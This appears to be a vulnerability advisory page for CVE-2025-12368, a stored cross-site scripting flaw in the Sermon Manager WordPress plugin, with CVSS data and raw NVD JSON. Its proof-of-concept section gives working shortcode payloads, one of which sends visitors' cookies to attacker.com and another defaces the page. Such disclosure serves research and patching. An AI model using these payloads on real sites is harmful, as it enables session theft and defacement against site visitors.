Security Vulnerability Report
中文
CVE-2025-12368 CVSS 6.4 MEDIUM

CVE-2025-12368

Published: 2025-12-05 06:16:07
Last Modified: 2026-04-15 00:35:42

Description

The Sermon Manager plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the `sermon-views` shortcode in all versions up to, and including, 2.30.0. This is due to insufficient input sanitization and output escaping on user-supplied attributes. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Sermon Manager for WordPress ≤ 2.30.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC for CVE-2025-12368: Stored XSS via sermon-views shortcode --> <!-- Required: Contributor-level access or higher --> <!-- Method 1: Basic XSS PoC --> [sermon-views view_id="<img src=x onerror=alert(document.cookie)>"] <!-- Method 2: Session hijacking PoC --> [sermon-views category="<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>"] <!-- Method 3: Defacement --> [sermon-views filter="<script>document.body.innerHTML='Hacked';</script>"] <!-- Exploitation note: The malicious shortcode can be embedded in any WordPress post/page --> <!-- When other users visit the page, the injected JavaScript will execute automatically --> <!-- No user interaction required beyond visiting the page -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12368", "sourceIdentifier": "[email protected]", "published": "2025-12-05T06:16:07.070", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Sermon Manager plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the `sermon-views` shortcode in all versions up to, and including, 2.30.0. This is due to insufficient input sanitization and output escaping on user-supplied attributes. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/sermon-manager-for-wordpress/tags/2.30.0/includes/vendor/entry-views.php#L114", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/sermon-manager-for-wordpress", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/41116b52-8f94-4d29-8845-a27bdf817b43?source=cve", "source": "[email protected]"}]}}